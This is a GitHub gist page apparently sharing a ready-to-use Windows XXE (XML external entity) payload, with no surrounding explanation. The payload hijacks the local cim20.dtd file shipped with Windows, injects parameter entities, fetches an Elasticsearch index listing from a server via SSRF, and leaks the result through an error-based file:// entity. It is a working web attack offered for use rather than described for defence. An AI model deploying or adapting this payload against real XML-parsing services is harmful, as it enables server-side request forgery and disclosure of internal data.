Skip to content

Instantly share code, notes, and snippets.

@dslusser

dslusser/gist:2e5b3b32d81a66638dc1dd6eb208c17d

Forked from Rhynorater/gist:d0d19f757221a916a22476c3a5c6aba2
Created April 2, 2024 14:56
Show Gist options
  • Save dslusser/2e5b3b32d81a66638dc1dd6eb208c17d to your computer and use it in GitHub Desktop.
Save dslusser/2e5b3b32d81a66638dc1dd6eb208c17d to your computer and use it in GitHub Desktop.
Download ZIP
Shubs Windows XXE Payload
Raw
gistfile1.txt
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "http://example.com:9200/_cat/indices">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>cacat</xxx>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment